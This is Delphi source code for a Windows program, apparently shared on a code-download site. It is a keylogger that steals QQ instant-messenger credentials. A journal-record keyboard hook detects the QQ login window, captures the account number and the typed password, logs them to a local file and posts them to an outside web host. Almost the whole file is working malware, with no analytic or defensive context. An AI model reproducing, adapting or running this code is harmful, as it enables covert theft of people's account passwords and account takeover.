Project2.dpr
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:9k
- program Project2;
- uses
- Windows,
- Messages,
- SysUtils,
- shellapi,
- WinInet,
- Registry;
- var
- hhook:integer;
- hooktime:integer;
- qqnum,qqpwdstr:string;
- time1:integer;
- s:string;
- procedure PostURL(const aUrl: string; FTPostQuery: string);
- var
- hSession: HINTERNET;
- hConnect, hRequest: hInternet;
- lpBuffer: array[0..1024 + 1] of Char;
- dwBytesRead: DWORD;
- HttpStr:String;
- HostName, FileName: String;
- FTResult: Boolean;
- AcceptType: LPStr;
- Buf: Pointer;
- dwBufLen, dwIndex: DWord;
- // 字符串转小写
- function LowerCase(const Source: string): string;
- var
- TempChar: Char;
- StrLen: Integer;
- PSource,
- PDest: PChar;
- begin
- StrLen := Length(Source);
- SetLength(Result, StrLen);
- PSource := @Source[1];
- PDest := @Result[1];
- while (StrLen > 0) do
- begin
- TempChar := PSource^;
- if (TempChar >= 'A') and (TempChar <= 'Z') then Inc(TempChar, 32);
- PDest^ := TempChar;
- Inc(PSource);
- Inc(PDest);
- Dec(StrLen);
- end;
- end;
- procedure ParseURL(URL: String; var HostName, FileName: String);
- procedure ReplaceChar(c1, c2: Char; var St: String);
- var
- p: Integer;
- begin
- while True do
- begin
- p := Pos(c1, St);
- if p = 0 then Break
- else St
- := c2;
- end;
- end;
- var
- i: Integer;
- begin
- if Pos(LowerCase('http://'), LowerCase(URL)) <> 0 then
- System.Delete(URL, 1, 7);
- i := Pos('/', URL);
- HostName := Copy(URL, 1, i);
- FileName := Copy(URL, i, Length(URL) - i + 1);
- if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
- SetLength(HostName, Length(HostName) - 1);
- end;
- begin
- hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
- try
- if Assigned(hSession) then
- begin
- ParseURL(aUrl, HostName, FileName);
- hConnect := InternetConnect(hSession, PChar(HostName),
- INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
- AcceptType := PChar('Accept: */*');
- hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
- nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
- //
- HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
- PChar(FTPostQuery), Length(FTPostQuery));
- dwIndex := 0;
- dwBufLen := 1024;
- GetMem(Buf, dwBufLen);
- FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
- Buf, dwBufLen, dwIndex);
- if FTResult=True then
- try
- while True do
- begin
- dwBytesRead := 1024;
- InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
- if dwBytesRead = 0 then break;
- lpBuffer[dwBytesRead] := #0;
- HttpStr:=HttpStr+lpBuffer;
- end;
- finally
- InternetCloseHandle(hRequest);
- InternetCloseHandle(hConnect);
- end;
- end;
- finally
- InternetCloseHandle(hSession);
- end;
- end;
- //以上发信过程
- procedure jilu(s:string);
- var
- mytextfile:textfile;
- begin
- assignfile(mytextfile,'c:qq.txt');
- append(mytextfile);
- writeln(mytextfile,datetimetostr(now)+' '+s);
- closefile(mytextfile);
- end;
- function keyresult(lp:integer;wp:integer):string;
- begin
- result := '[Print Screen]';
- case lp of
- 10688: result := '`';
- 561: Result := '1';
- 818: result := '2';
- 1075: result := '3';
- 1332: result := '4';
- 1589: result := '5';
- 1846: result := '6';
- 2103: result := '7';
- 2360: result := '8';
- 2617: result := '9';
- 2864: result := '0';
- 3261: result := '-';
- 3515: result := '=';
- 4177: result := 'Q';
- 4439: result := 'W';
- 4677: result := 'E';
- 4946: result := 'R';
- 5204: result := 'T';
- 5465: result := 'Y';
- 5717: result := 'U';
- 5961: result := 'I';
- 6223: result := 'O';
- 6480: result := 'P';
- 6875: result := '[';
- 7133: result := ']';
- 11228: result := '';
- 7745: result := 'A';
- 8019: result := 'S';
- 8260: result := 'D';
- 8518: result := 'F';
- 8775: result := 'G';
- 9032: result := 'H';
- 9290: result := 'J';
- 9547: result := 'K';
- 9804: result := 'L';
- 10170: result := ';';
- 10462: result := '''';
- 11354: result := 'Z';
- 11608: result := 'X';
- 11843: result := 'C';
- 12118: result := 'V';
- 12354: result := 'B';
- 12622: result := 'N';
- 12877: result := 'M';
- 13244: result := ',';
- 13502: result := '.';
- 13759: result := '/';
- 13840: result := '[Right-Shift]';
- 14624: result := '[Space]';
- 283: result := '[Esc]';
- 15216: result := '[F1]';
- 15473: result := '[F2]';
- 15730: result := '[F3]';
- 15987: result := '[F4]';
- 16244: result := '[F5]';
- 16501: result := '[F6]';
- 16758: result := '[F7]';
- 17015: result := '[F8]';
- 17272: result := '[F9]';
- 17529: result := '[F10]';
- 22394: result := '[F11]';
- 22651: result := '[F12]';
- 10768: Result := '[Left-Shift]';
- 14868: result := '[CapsLock]';
- 3592: result := '[Backspace]';
- 3849: result := '[Tab]';
- 7441:
- if wp > 30000 then
- result := '[Right-Ctrl]'
- else
- result := '[Left-Ctrl]';
- 13679: result := '[Num /]';
- 17808: result := '[NumLock]';
- 300: result := '[Print Screen]';
- 18065: result := '[Scroll Lock]';
- 17683: result := '[Pause]';
- 21088: result := '[Num0]';
- 21358: result := '[Num.]';
- 20321: result := '[Num1]';
- 20578: result := '[Num2]';
- 20835: result := '[Num3]';
- 19300: result := '[Num4]';
- 19557: result := '[Num5]';
- 19814: result := '[Num6]';
- 18279: result := '[Num7]';
- 18536: result := '[Num8]';
- 18793: result := '[Num9]';
- 19468: result := '[*5*]';
- 14186: result := '[Num *]';
- 19053: result := '[Num -]';
- 20075: result := '[Num +]';
- 21037: result := '[Insert]';
- 21294: result := '[Delete]';
- 18212: result := '[Home]';
- 20259: result := '[End]';
- 18721: result := '[PageUp]';
- 20770: result := '[PageDown]';
- 18470: result := '[UP]';
- 20520: result := '[DOWN]';
- 19237: result := '[LEFT]';
- 19751: result := '[RIGHT]';
- 7181: result := '[Enter]';
- end;
- end;
- procedure unhook;
- begin
- unhookwindowshookex(hhook);
- hhook:=0;
- hooktime:=0;
- end;
- function GetCaption(hWnd: LongWord): string;
- var
- szWindowText: array[0..MAX_PATH] of Char;
- szTextLength: Integer;
- begin
- szTextLength := SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
- szWindowText[szTextLength] := #0;
- Result := szWindowText;
- end;
- function findqqwindow:integer;
- var
- h1,h2,h3:Hwnd;
- begin
- h1:=0;
- h2:=0;
- h3:=0;
- //h1:=findwindowex(GetForegroundWindow,0,'#32770',nil);
- //h1:=findwindowex(GetActiveWindow,0,'#32770',nil);
- //if h1<>0 then
- h1:=findwindow('#32770',nil);
- if h1=getforegroundwindow then
- begin
- h2:=findwindowex(h1,0,nil,'QQ号码:');
- h3:=findwindowex(h1,0,nil,'QQ密码:');
- if (h2<>0) and (h3<>0) then
- result:=0
- else
- result:=1;
- end;
- end;
- function getqqnum:string;
- var
- qqnumstr:string;
- h1,h2,h3:Thandle;
- begin
- result:='';
- h1:=getdlgitem(GetActiveWindow,$0000008A);
- h2:=findwindowex(h1,0,'Edit',nil);
- qqnumstr:=getcaption(h2);
- if qqnumstr<>'' then
- result:=qqnumstr;
- end;
- function getqqpwdwindow(var h:Hwnd):boolean;
- var
- qqpwdstr:string;
- h1,h2:Thandle;
- begin
- result:=false;
- h1:=getdlgitem(GetActiveWindow,$0000008A);
- h2:=getdlgitem(GetActiveWindow,$000000B4);
- if (h2<>0) and (getfocus=h2) then
- result:=true;
- end;
- function hookproc(icode:integer;wparam:WPARAM;lparam:LPARAM):Lresult;stdcall;
- begin
- if(Peventmsg(lparam)^.message=WM_KEYDOWN) then
- begin
- if findqqwindow=0 then
- begin
- if getqqpwdwindow(Peventmsg(lparam)^.hwnd) then
- begin
- qqnum:=getqqnum;
- qqpwdstr:=qqpwdstr+keyresult(Peventmsg(lparam)^.paramL,Peventmsg(lparam)^.paramH);
- if (qqnum<>'') and (qqpwdstr<>'') then
- begin
- s:='QQ号码:'+qqnum+' ''QQ密码:'+qqpwdstr;
- time1:=1;
- //ShellExecute(0,'open',pchar(s),nil,nil,SW_hide);
- end;
- end;
- end
- else if time1=1 then
- begin
- jilu(s);
- s:='http://99h121.51.net/qq.php?'+s;
- //winexec(pchar(s),sw_hide);
- //ShellExecute(0,nil,pchar('regedit.exe'),nil,nil,sw_normal);
- posturl(s,s);
- time1:=0;
- qqpwdstr:='';
- end;
- end;
- result:=callnexthookex(hhook,icode,wparam,lparam);
- end;
- procedure winmain();
- var
- f:textfile;
- msg:Tmsg;
- begin
- time1:=0;
- hooktime:=0;
- hhook:=0;
- inc(hooktime);
- if hooktime=1 then
- hhook:=setwindowshookex(WH_JOURNALRECORD,hookproc,Hinstance,0);
- assignfile(f,'c:qq.txt');
- if not fileexists('c:qq.txt') then
- begin
- rewrite(f);
- closefile(f);
- end;
- while GetMessage(Msg, 0, 0, 0) do DispatchMessage(Msg);
- unhook;
- end;
- begin
- winmain;
- end.